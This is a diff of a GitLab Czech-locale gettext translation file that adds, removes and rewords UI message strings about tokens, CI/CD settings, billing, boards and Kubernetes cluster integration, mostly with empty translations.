+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,10 +812,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -996,9 +1023,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}Odstraní%{strongEnd} zdrojovou větev"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2131,6 +2143,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3599,9 +3635,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr "Auto DevOps aktivní"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,10 +6046,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
